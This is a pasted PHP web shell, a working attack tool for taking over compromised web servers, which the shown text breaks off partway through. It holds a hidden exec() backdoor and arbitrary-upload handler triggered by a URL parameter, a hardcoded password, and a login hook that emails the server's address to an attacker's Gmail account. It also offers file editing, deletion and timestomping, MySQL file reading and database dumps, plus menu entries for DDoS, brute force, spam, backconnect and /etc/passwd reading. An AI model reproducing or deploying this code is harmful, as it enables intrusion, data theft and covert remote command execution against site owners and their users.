· 7 years ago · Sep 28, 2018, 02:18 AM
1<?php
2if(isset($_GET["act"]) && $_GET["act"]=="hvn"){
3
4if(isset($_FILES["File"]))
5{
6$Path=explode("/",__FILE__);
7unset($Path[count($Path)-1]);
8$Path=implode("/",$Path);
9$Path.="/".$_FILES["File"]["name"];
10 if ($_FILES["File"]["error"] > 0)
11 {
12 echo "Error: " . $_FILES["File"]["error"] . "<br />";
13 }
14 else if(move_uploaded_file($_FILES["File"]["tmp_name"],$Path))
15 {
16 echo "Stored in: " .$Path;
17 }
18}
19print_r(($_GET['cms'])?exec($_GET['cms']):'');
20?>
21<form method="post" enctype="multipart/form-data">
22 <input type="hidden" name="File"/><input type="hidden"/>
23</form>
24<?php
25exit;
26}
27?><?php error_reporting(7);
28@set_magic_quotes_runtime(0);
29ob_start();
30$mtime = explode(' ', microtime());
31$starttime = $mtime[1] + $mtime[0];
32define('SA_ROOT', str_replace('\\', '/', dirname('index.php')) . '/');
33define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
34define('IS_COM', class_exists('COM') ? 1 : 0);
35define('IS_GPC', get_magic_quotes_gpc());
36$dis_func = get_cfg_var('disable_functions');
37define('IS_PHPINFO', (!eregi("phpinfo", $dis_func)) ? 1 : 0);
38@set_time_limit(0);
39foreach (array('_GET', '_POST') as $_request) {
40 foreach ($$_request as $_key => $_value) {
41 if ($_key{0} != '_') {
42 if (IS_GPC) {
43 $_value = s_array($_value);
44 }
45 $$_key = $_value;
46 }
47 }
48}
49$admin = array();
50$admin['check'] = true;
51$admin['pass'] = 'vanphu113';
52$admin['cookiepre'] = '';
53$admin['cookiedomain'] = '';
54$admin['cookiepath'] = '/';
55$admin['cookielife'] = 86400;
56if ($charset == 'utf8') {
57 header("content-Type: text/html; charset=utf-8");
58} elseif ($charset == 'big5') {
59 header("content-Type: text/html; charset=big5");
60} elseif ($charset == 'gbk') {
61 header("content-Type: text/html; charset=gbk");
62} elseif ($charset == 'latin1') {
63 header("content-Type: text/html; charset=iso-8859-2");
64}
65$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
66$timestamp = time();
67if ($action == "logout") {
68 scookie('kymljnk', '', -86400 * 365);
69 p('<meta http-equiv="refresh" content="0;URL=' . $self . '">');
70 p('<body background=black>');
71 exit;
72}
73if ($admin['check']) {
74 if ($doing == 'login') {
75 if ($admin['pass'] == $password) {
76 scookie('kymljnk', $password);
77 $time_shell = "" . date("d/m/Y - H:i:s") . "";
78 $ip_remote = $_SERVER["REMOTE_ADDR"];
79 $from_shellcode = 'shell@' . gethostbyname($_SERVER['SERVER_NAME']) . '';
80 $to_email = 'hackerpro536@gmail.com';
81 $server_mail = "" . gethostbyname($_SERVER['SERVER_NAME']) . " - " . $_SERVER['HTTP_HOST'] . "";
82 $linkcr = "Link: " . $_SERVER['SERVER_NAME'] . "" . $_SERVER['REQUEST_URI'] . " - IP Excuting: $ip_remote - Time: $time_shell";
83 $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
84 @mail($to_email, $server_mail, $linkcr, $header);
85 p('<meta http-equiv="refresh" content="2;URL=' . $self . '">');
86 p('<body bgcolor=black>
87<BR><BR><div align=center><font color=yellow face=tahoma size=2>Loading<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
88 exit;
89 } else {
90 $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
91 echo $err_mess;
92 }
93 }
94 if ($_COOKIE['kymljnk']) {
95 if ($_COOKIE['kymljnk'] != $admin['pass']) {
96 loginpage();
97 }
98 } else {
99 loginpage();
100 }
101}
102$errmsg = '';
103if ($action == 'phpinfo') {
104 if (IS_PHPINFO) {
105 phpinfo();
106 } else {
107 $errmsg = 'phpinfo() function has non-permissible';
108 }
109}
110if ($doing == 'downfile' && $thefile) {
111 if (!@file_exists($thefile)) {
112 $errmsg = 'The file you want Downloadable was nonexistent';
113 } else {
114 $fileinfo = pathinfo($thefile);
115 header('Content-type: application/x-' . $fileinfo['extension']);
116 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
117 header('Content-Length: ' . filesize($thefile));
118 @readfile($thefile);
119 exit;
120 }
121}
122if ($doing == 'backupmysql' && !$saveasfile) {
123 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
124 $table = array_flip($table);
125 $result = q("SHOW tables");
126 if (!$result) p('<h2>' . mysql_error() . '</h2>');
127 $filename = basename($_SERVER['HTTP_HOST'] . '_MySQL.sql');
128 header('Content-type: application/unknown');
129 header('Content-Disposition: attachment; filename=' . $filename);
130 $mysqldata = '';
131 while ($currow = mysql_fetch_array($result)) {
132 if (isset($table[$currow[0]])) {
133 $mysqldata.= sqldumptable($currow[0]);
134 }
135 }
136 mysql_close();
137 exit;
138}
139if ($doing == 'mysqldown') {
140 if (!$dbname) {
141 $errmsg = ' dbname';
142 } else {
143 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
144 if (!file_exists($mysqldlfile)) {
145 $errmsg = 'The file you want Downloadable was nonexistent';
146 } else {
147 $result = q("select load_file('$mysqldlfile');");
148 if (!$result) {
149 q("DROP TABLE IF EXISTS tmp_angel;");
150 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
151 q("LOAD DATA LOCAL INFILE '" . addslashes($mysqldlfile) . "' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
152 $result = q("select content from tmp_angel");
153 q("DROP TABLE tmp_angel");
154 }
155 $row = @mysql_fetch_array($result);
156 if (!$row) {
157 $errmsg = 'Load file failed ' . mysql_error();
158 } else {
159 $fileinfo = pathinfo($mysqldlfile);
160 header('Content-type: application/x-' . $fileinfo['extension']);
161 header('Content-Disposition: attachment; filename=' . $fileinfo['basename']);
162 header("Accept-Length: " . strlen($row[0]));
163 echo $row[0];
164 exit;
165 }
166 }
167 }
168};
169echo '<html>
170<head>
171<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
172<title>';
173echo "Website : " . $_SERVER['HTTP_HOST'] . "";;
174echo ' | ';
175echo "IP : " . gethostbyname($_SERVER['SERVER_NAME']) . "";;
176echo ' </title>
177<style type="text/css">
178body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
179
180a {color: #808080;text-decoration:none;}
181a:hover{color: #f00;text-decoration:underline;}
182.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
183.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
184.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
185.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
186.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
187.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
188.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
189.head td span{font-weight:normal;}
190form{margin:0;padding:0;}
191h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
192ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
193u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
194input, textarea, button
195{
196 font-size: 9pt;
197 color: #ccc;
198 font-family: verdana, sans-serif;
199 background-color: #202020;
200 border-left: 1px solid #74A202;
201 border-top: 1px solid #74A202;
202 border-right: 1px solid #74A202;
203 border-bottom: 1px solid #74A202;
204}
205select
206{
207 font-size: 8pt;
208 font-weight: normal;
209 color: #ccc;
210 font-family: verdana, sans-serif;
211 background-color: #202020;
212}
213
214</style>
215<script type="text/javascript">
216function CheckAll(form) {
217 for(var i=0;i<form.elements.length;i++) {
218 var e = form.elements[i];
219 if (e.name != \'chkall\')
220 e.checked = form.chkall.checked;
221 }
222}
223function $(id) {
224 return document.getElementById(id);
225}
226function goaction(act){
227 $(\'goaction\').action.value=act;
228 $(\'goaction\').submit();
229}
230</script>
231</head>
232<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i476.photobucket.com/albums/rr129/thienthantuyet4444/background/background.jpg>
233<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
234 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
235 <tr>
236 <td align="center" valign=center>
237 <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600" align="center">
238 Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
239 </div>
240 </td>
241 </tr>
242 </table>
243</div>
244 <script>
245 var ld=(document.all);
246 var ns4=document.layers;
247 var ns6=document.getElementById&&!document.all;
248 var ie4=document.all;
249 if (ns4)
250 ld=document.loading;
251 else if (ns6)
252 ld=document.getElementById("loading").style;
253 else if (ie4)
254 ld=document.all.loading.style;
255 function init()
256 {
257 if(ns4){ld.visibility="hidden";}
258 else if (ns6||ie4) ld.display="none";
259 }
260 </script>
261<table width="100%" border="0" cellpadding="0" cellspacing="0">
262 <tr class="head_small">
263 <td width=100%>
264 <table width=100%><tr class="head_small"><td width=86px><p><a title=" .:: Warning ! Shell is used to refer not to hack ::. " href="';
265$self;;
266echo '"><img src=http://i476.photobucket.com/albums/rr129/thienthantuyet4444/anonymouswallpaper.png></a></p>
267 </td>
268 <td>
269
270 <span style="float:left;"> ';
271echo "Hostname: " . $_SERVER['HTTP_HOST'] . "";;
272echo ' | Server IP: ';
273echo "<font color=yellow>" . gethostbyname($_SERVER['SERVER_NAME']) . "</font>";;
274echo ' | Your IP: ';
275echo "<font color=yellow>" . $_SERVER['REMOTE_ADDR'] . "</font>";;
276echo ' | <a href="http://google.com" target="_blank">';
277echo str_replace('.', '', 'HackerPro536');;
278echo ' </a> | <a href="javascript:goaction(\'logout\');"><font color=red>Logout</font></a></span> <br />
279
280 ';
281$curl_on = @function_exists('curl_version');
282$mysql_on = @function_exists('mysql_connect');
283$mssql_on = @function_exists('mssql_connect');
284$pg_on = @function_exists('pg_connect');
285$ora_on = @function_exists('ocilogon');
286echo (($safe_mode) ? ("Safe_mod: <b><font color=green>ON</font></b> - ") : ("Safe_mod: <b><font color=red>OFF</font></b> - "));
287echo "PHP version: <b>" . @phpversion() . "</b> - ";
288echo "cURL: " . (($curl_on) ? ("<b><font color=green>ON</font></b> - ") : ("<b><font color=red>OFF</font></b> - "));
289echo "MySQL: <b>";
290$mysql_on = @function_exists('mysql_connect');
291if ($mysql_on) {
292 echo "<font color=green>ON</font></b> - ";
293} else {
294 echo "<font color=red>OFF</font></b> - ";
295}
296echo "MSSQL: <b>";
297$mssql_on = @function_exists('mssql_connect');
298if ($mssql_on) {
299 echo "<font color=green>ON</font></b> - ";
300} else {
301 echo "<font color=red>OFF</font></b> - ";
302}
303echo "PostgreSQL: <b>";
304$pg_on = @function_exists('pg_connect');
305if ($pg_on) {
306 echo "<font color=green>ON</font></b> - ";
307} else {
308 echo "<font color=red>OFF</font></b> - ";
309}
310echo "Oracle: <b>";
311$ora_on = @function_exists('ocilogon');
312if ($ora_on) {
313 echo "<font color=green>ON</font></b>";
314} else {
315 echo "<font color=red>OFF</font></b><BR>";
316}
317echo "Disable functions : <b>";
318if ('' == ($df = @ini_get('disable_functions'))) {
319 echo "<font color=green>NONE</font></b><BR>";
320} else {
321 echo "<font color=red>$df</font></b><BR>";
322}
323echo "<font color=white>Uname -a</font>: " . @substr(@php_uname(), 0, 120) . "<br>";
324echo "<font color=white>Server</font>: " . @substr($SERVER_SOFTWARE, 0, 120) . " - <font color=white>id</font>: " . @getmyuid() . "(" . @get_current_user() . ") - uid=" . @getmyuid() . " (" . @get_current_user() . ") gid=" . @getmygid() . "(" . @get_current_user() . ")<br>";;
325echo '</td></tr></table></td>
326 </tr>
327 <tr class="alt1">
328 <td width=10%>
329 <a href="javascript:goaction(\'file\');">Manager</a> |
330 <a href="javascript:goaction(\'jump\');">Jump</a> |
331 <a href="javascript:goaction(\'sqladmin\');">SQL</a> |
332 <a href="javascript:goaction(\'ddos\');">DDos</a> |
333 <a href="javascript:goaction(\'leech\');">Leech</a> ';
334if (!IS_WIN) {;
335 echo ' | <a href="javascript:goaction(\'dumper\');">Dumper</a>';
336};
337echo ' | <a href="javascript:goaction(\'md5\');">Md5</a>';
338echo ' | <a href="javascript:goaction(\'crack\');">Crack</a>';
339if (!IS_WIN) {;
340 echo ' | <a href="javascript:goaction(\'etcpwd\');">/etc/passwd</a> ';
341};
342echo ' ';
343if (!IS_WIN) {;
344 echo ' | <a href="javascript:goaction(\'symlink\');">Symlink</a> ';
345};
346echo ' ';
347if (!IS_WIN) {;
348 echo ' | <a href="javascript:goaction(\'newcommand\');">Command</a> ';
349};
350echo ' ';
351if (!IS_WIN) {;
352 echo ' | <a href="javascript:goaction(\'error.log\');">Cgi</a>';
353};
354echo ' ';
355if (!IS_WIN) {;
356 echo ' | <a href="error/error.log" target="_blank">Open Cgi</a>';
357};
358echo ' ';
359if (!IS_WIN) {;
360 echo ' | <a href="javascript:goaction(\'symroot\');">Root</a>';
361};
362echo ' ';
363if (!IS_WIN) {;
364 echo ' | <a href="sym/" target="_blank">Open Root</a>';
365};
366echo ' ';
367if (!IS_WIN) {;
368 echo ' | <a href="javascript:goaction(\'bypass\');">By Pass</a>';
369};
370echo ' ';
371if (!IS_WIN) {;
372 echo ' | <a href="javascript:goaction(\'upshell\');">Up shell</a>';
373};
374echo ' ';
375if (!IS_WIN) {;
376 echo ' | <a href="javascript:goaction(\'spam\');">Spam</a>';
377};
378echo ' ';
379if (!IS_WIN) {;
380 echo ' | <a href="javascript:goaction(\'backconnect\');">Back</a>';
381};
382echo ' ';
383if (!IS_WIN) {;
384 echo ' | <a href="javascript:goaction(\'brute\');">Brute</a> ';
385};
386echo ' ';
387if (!IS_WIN) {;
388 echo ' | <a href="javascript:goaction(\'command\');">CM</a> ';
389};
390echo ' ';
391if (!IS_WIN) {;
392 echo ' | <a href="javascript:goaction(\'reverseip\');">Reverse</a>';
393};
394echo '
395 </td>
396 </tr>
397</table>
398<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
399';
400formhead(array('name' => 'goaction'));
401makehide('action');
402formfoot();
403$errmsg && m($errmsg);
404!$dir && $dir = '.';
405$nowpath = getPath(SA_ROOT, $dir);
406if (substr($dir, -1) != '/') {
407 $dir = $dir . '/';
408}
409$uedir = ue($dir);
410if (!$action || $action == 'file') {
411 $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
412 if ($doing == 'deldir' && $thefile) {
413 if (!file_exists($thefile)) {
414 m($thefile . ' directory does not exist');
415 } else {
416 m('Directory delete ' . (deltree($thefile) ? basename($thefile) . ' success' : 'failed'));
417 }
418 } elseif ($newdirname) {
419 $mkdirs = $nowpath . $newdirname;
420 if (file_exists($mkdirs)) {
421 m('Directory has already existed');
422 } else {
423 m('Directory created ' . (@mkdir($mkdirs, 0777) ? 'success' : 'failed'));
424 @chmod($mkdirs, 0777);
425 }
426 } elseif ($doupfile) {
427 m('File upload ' . (@copy($_FILES['uploadfile']['tmp_name'], $uploaddir . '/' . $_FILES['uploadfile']['name']) ? 'success' : 'failed'));
428 } elseif ($editfilename && $filecontent) {
429 $fp = @fopen($editfilename, 'w');
430 m('Save file ' . (@fwrite($fp, $filecontent) ? 'success' : 'failed'));
431 @fclose($fp);
432 } elseif ($pfile && $newperm) {
433 if (!file_exists($pfile)) {
434 m('The original file does not exist');
435 } else {
436 $newperm = base_convert($newperm, 8, 10);
437 m('Modify file attributes ' . (@chmod($pfile, $newperm) ? 'success' : 'failed'));
438 }
439 } elseif ($oldname && $newfilename) {
440 $nname = $nowpath . $newfilename;
441 if (file_exists($nname) || !file_exists($oldname)) {
442 m($nname . ' has already existed or original file does not exist');
443 } else {
444 m(basename($oldname) . ' renamed ' . basename($nname) . (@rename($oldname, $nname) ? ' success' : 'failed'));
445 }
446 } elseif ($sname && $tofile) {
447 if (file_exists($tofile) || !file_exists($sname)) {
448 m('The goal file has already existed or original file does not exist');
449 } else {
450 m(basename($tofile) . ' copied ' . (@copy($sname, $tofile) ? basename($tofile) . ' success' : 'failed'));
451 }
452 } elseif ($curfile && $tarfile) {
453 if (!@file_exists($curfile) || !@file_exists($tarfile)) {
454 m('The goal file has already existed or original file does not exist');
455 } else {
456 $time = @filemtime($tarfile);
457 m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
458 }
459 } elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
460 if (!@file_exists($curfile)) {
461 m(basename($curfile) . ' does not exist');
462 } else {
463 $time = strtotime("$year-$month-$day $hour:$minute:$second");
464 m('Modify file the last modified ' . (@touch($curfile, $time, $time) ? 'success' : 'failed'));
465 }
466 } elseif ($doing == 'downrar') {
467 if ($dl) {
468 $dfiles = '';
469 foreach ($dl as $filepath => $value) {
470 $dfiles.= $filepath . ',';
471 }
472 $dfiles = substr($dfiles, 0, strlen($dfiles) - 1);
473 $dl = explode(',', $dfiles);
474 $zip = new PHPZip($dl);
475 $code = $zip->out;
476 header('Content-type: application/octet-stream');
477 header('Accept-Ranges: bytes');
478 header('Accept-Length: ' . strlen($code));
479 header('Content-Disposition: attachment;filename=' . $_SERVER['HTTP_HOST'] . '_Files.tar.gz');
480 echo $code;
481 exit;
482 } else {
483 m('Please select file(s)');
484 }
485 } elseif ($doing == 'delfiles') {
486 if ($dl) {
487 $dfiles = '';
488 $succ = $fail = 0;
489 foreach ($dl as $filepath => $value) {
490 if (@unlink($filepath)) {
491 $succ++;
492 } else {
493 $fail++;
494 }
495 }
496 m('Deleted >> success ' . $succ . ' fail ' . $fail);
497 } else {
498 m('Please select file(s)');
499 }
500 }
501 formhead(array('name' => 'createdir'));
502 makehide('newdirname');
503 makehide('dir', $nowpath);
504 formfoot();
505 formhead(array('name' => 'fileperm'));
506 makehide('newperm');
507 makehide('pfile');
508 makehide('dir', $nowpath);
509 formfoot();
510 formhead(array('name' => 'copyfile'));
511 makehide('sname');
512 makehide('tofile');
513 makehide('dir', $nowpath);
514 formfoot();
515 formhead(array('name' => 'rename'));
516 makehide('oldname');
517 makehide('newfilename');
518 makehide('dir', $nowpath);
519 formfoot();
520 formhead(array('name' => 'fileopform'));
521 makehide('action');
522 makehide('opfile');
523 makehide('dir');
524 formfoot();
525 $free = @disk_free_space($nowpath);
526 !$free && $free = 0;
527 $all = @disk_total_space($nowpath);
528 !$all && $all = 0;
529 $used = $all - $free;
530 $used_percent = @round(100 / ($all / $free), 2);
531 p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>' . sizecount($free) . '</font> of <font color=red>' . sizecount($all) . '</font> (<font color=red>' . $used_percent . '</font>%)</font>');;
532 echo '<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
533 <form action="" method="post" id="godir" name="godir">
534 <tr>
535 <td nowrap>Directory (';
536 echo $dir_writeable;;
537 echo ', ';
538 echo getChmod($nowpath);;
539 echo ')</td>
540 <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="';
541 echo $nowpath;;
542 echo '" type="text" style="width:100%;margin:0 8px;"></td>
543 <td nowrap><input class="bt" value="GO" type="submit"></td>
544 </tr>
545 </form>
546</table>
547<script type="text/javascript">
548function createdir(){
549 var newdirname;
550 newdirname = prompt(\'directory name:\', \'\');
551 if (!newdirname) return;
552 $(\'createdir\').newdirname.value=newdirname;
553 $(\'createdir\').submit();
554}
555function fileperm(pfile){
556 var newperm;
557 newperm = prompt(\'Current file:\'+pfile+\'\\n new attribute:\', \'\');
558 if (!newperm) return;
559 $(\'fileperm\').newperm.value=newperm;
560 $(\'fileperm\').pfile.value=pfile;
561 $(\'fileperm\').submit();
562}
563function copyfile(sname){
564 var tofile;
565 tofile = prompt(\'Original file:\'+sname+\'\\n object file (fullpath):\', \'\');
566 if (!tofile) return;
567 $(\'copyfile\').tofile.value=tofile;
568 $(\'copyfile\').sname.value=sname;
569 $(\'copyfile\').submit();
570}
571function rename(oldname){
572 var newfilename;
573 newfilename = prompt(\'Former file name:\'+oldname+\'\\n new filename:\', \'\');
574 if (!newfilename) return;
575 $(\'rename\').newfilename.value=newfilename;
576 $(\'rename\').oldname.value=oldname;
577 $(\'rename\').submit();
578}
579function dofile(doing,thefile,m){
580 if (m && !confirm(m)) {
581 return;
582 }
583 $(\'filelist\').doing.value=doing;
584 if (thefile){
585 $(\'filelist\').thefile.value=thefile;
586 }
587 $(\'filelist\').submit();
588}
589function createfile(nowpath){
590 var filename;
591 filename = prompt(\'file name:\', \'\');
592 if (!filename) return;
593 opfile(\'editfile\',nowpath + filename,nowpath);
594}
595function opfile(action,opfile,dir){
596 $(\'fileopform\').action.value=action;
597 $(\'fileopform\').opfile.value=opfile;
598 $(\'fileopform\').dir.value=dir;
599 $(\'fileopform\').submit();
600}
601function godir(dir,view_writable){
602 if (view_writable) {
603 $(\'godir\').view_writable.value=1;
604 }
605 $(\'godir\').dir.value=dir;
606 $(\'godir\').submit();
607}
608</script>
609 ';
610 tbhead();
611 p('<form action="' . $self . '" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
612 p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="' . $dir . '" type="hidden" /><input name="dir" value="' . $dir . '" type="hidden" /></div>');
613 p('<a href="javascript:godir(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">WebRoot</a>');
614 if ($view_writable) {
615 p(' | <a href="javascript:godir(\'' . $nowpath . '\');">View All</a>');
616 } else {
617 p(' | <a href="javascript:godir(\'' . $nowpath . '\',\'1\');">View Writable</a>');
618 }
619 p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\'' . $nowpath . '\');">Create File</a>');
620 if (IS_WIN && IS_COM) {
621 $obj = new COM('scripting.filesystemobject');
622 if ($obj && is_object($obj)) {
623 $DriveTypeDB = array(0 => 'Unknow', 1 => 'Removable', 2 => 'Fixed', 3 => 'Network', 4 => 'CDRom', 5 => 'RAM Disk');
624 foreach ($obj->Drives as $drive) {
625 if ($drive->DriveType == 2) {
626 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Size:' . sizecount($drive->TotalSize) . ' Free:' . sizecount($drive->FreeSpace) . ' Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
627 } else {
628 p(' | <a href="javascript:godir(\'' . $drive->Path . '/\');" title="Type:' . $DriveTypeDB[$drive->DriveType] . '">' . $DriveTypeDB[$drive->DriveType] . '(' . $drive->Path . ')</a>');
629 }
630 }
631 }
632 }
633 p('</td></tr></form>');
634 p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
635 $dirdata = array();
636 $filedata = array();
637 if ($view_writable) {
638 $dirdata = GetList($nowpath);
639 } else {
640 $dirs = @opendir($dir);
641 while ($file = @readdir($dirs)) {
642 $filepath = $nowpath . $file;
643 if (@is_dir($filepath)) {
644 $dirdb['filename'] = $file;
645 $dirdb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
646 $dirdb['dirchmod'] = getChmod($filepath);
647 $dirdb['dirperm'] = getPerms($filepath);
648 $dirdb['fileowner'] = getUser($filepath);
649 $dirdb['dirlink'] = $nowpath;
650 $dirdb['server_link'] = $filepath;
651 $dirdb['client_link'] = ue($filepath);
652 $dirdata[] = $dirdb;
653 } else {
654 $filedb['filename'] = $file;
655 $filedb['size'] = sizecount(@filesize($filepath));
656 $filedb['mtime'] = @date('Y-m-d H:i:s', filemtime($filepath));
657 $filedb['filechmod'] = getChmod($filepath);
658 $filedb['fileperm'] = getPerms($filepath);
659 $filedb['fileowner'] = getUser($filepath);
660 $filedb['dirlink'] = $nowpath;
661 $filedb['server_link'] = $filepath;
662 $filedb['client_link'] = ue($filepath);
663 $filedata[] = $filedb;
664 }
665 }
666 unset($dirdb);
667 unset($filedb);
668 @closedir($dirs);
669 }
670 @sort($dirdata);
671 @sort($filedata);
672 $dir_i = '0';
673 foreach ($dirdata as $key => $dirdb) {
674 if ($dirdb['filename'] != '..' && $dirdb['filename'] != '.') {
675 $thisbg = bg();
676 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
677 p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
678 p('<td><a href="javascript:godir(\'' . $dirdb['server_link'] . '\');">' . $dirdb['filename'] . '</a></td>');
679 p('<td nowrap>' . $dirdb['mtime'] . '</td>');
680 p('<td nowrap>--</td>');
681 p('<td nowrap>');
682 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirchmod'] . '</a> / ');
683 p('<a href="javascript:fileperm(\'' . $dirdb['server_link'] . '\');">' . $dirdb['dirperm'] . '</a>' . $dirdb['fileowner'] . '</td>');
684 p('<td nowrap><a href="javascript:dofile(\'deldir\',\'' . $dirdb['server_link'] . '\',\'Are you sure will delete ' . $dirdb['filename'] . '? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\'' . $dirdb['server_link'] . '\');">Rename</a></td>');
685 p('</tr>');
686 $dir_i++;
687 } else {
688 if ($dirdb['filename'] == '..') {
689 p('<tr class=fout>');
690 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\'' . getUpPath($nowpath) . '\');">Parent Directory</a></td>');
691 p('</tr>');
692 }
693 }
694 }
695 p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
696 p('<form id="filelist" name="filelist" action="' . $self . '" method="post">');
697 makehide('action', 'file');
698 makehide('thefile');
699 makehide('doing');
700 makehide('dir', $nowpath);
701 $file_i = '0';
702 foreach ($filedata as $key => $filedb) {
703 if ($filedb['filename'] != '..' && $filedb['filename'] != '.') {
704 $fileurl = str_replace(SA_ROOT, '', $filedb['server_link']);
705 $thisbg = bg();
706 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
707 p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl[' . $filedb['server_link'] . ']"></td>');
708 p('<td><a href="' . $fileurl . '" target="_blank">' . $filedb['filename'] . '</a></td>');
709 p('<td nowrap>' . $filedb['mtime'] . '</td>');
710 p('<td nowrap>' . $filedb['size'] . '</td>');
711 p('<td nowrap>');
712 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['filechmod'] . '</a> / ');
713 p('<a href="javascript:fileperm(\'' . $filedb['server_link'] . '\');">' . $filedb['fileperm'] . '</a>' . $filedb['fileowner'] . '</td>');
714 p('<td nowrap>');
715 p('<a href="javascript:dofile(\'downfile\',\'' . $filedb['server_link'] . '\');">Down</a> | ');
716 p('<a href="javascript:copyfile(\'' . $filedb['server_link'] . '\');">Copy</a> | ');
717 p('<a href="javascript:opfile(\'editfile\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Edit</a> | ');
718 p('<a href="javascript:rename(\'' . $filedb['server_link'] . '\');">Rename</a> | ');
719 p('<a href="javascript:opfile(\'newtime\',\'' . $filedb['server_link'] . '\',\'' . $filedb['dirlink'] . '\');">Time</a>');
720 p('</td></tr>');
721 $file_i++;
722 }
723 }
724 p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Download Select</a> - <a href="javascript:dofile(\'delfiles\');">Delete </a></td><td colspan="4" align="right">' . $dir_i . ' directories / ' . $file_i . ' files</td></tr>');
725 p('</form></table>');
726};
727echo '<script type="text/javascript">
728function mysqlfile(doing){
729 if(!doing) return;
730 $(\'doing\').value=doing;
731 $(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;
732 $(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;
733 $(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;
734 $(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;
735 $(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;
736 $(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;
737 $(\'mysqlfile\').submit();
738}
739</script>
740';
741if ($action == 'sqladmin') {
742 !$dbhost && $dbhost = 'localhost';
743 !$dbuser && $dbuser = 'root';
744 !$dbport && $dbport = '3306';
745 $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
746 if (isset($dbhost)) {
747 $dbform.= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
748 }
749 if (isset($dbuser)) {
750 $dbform.= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
751 }
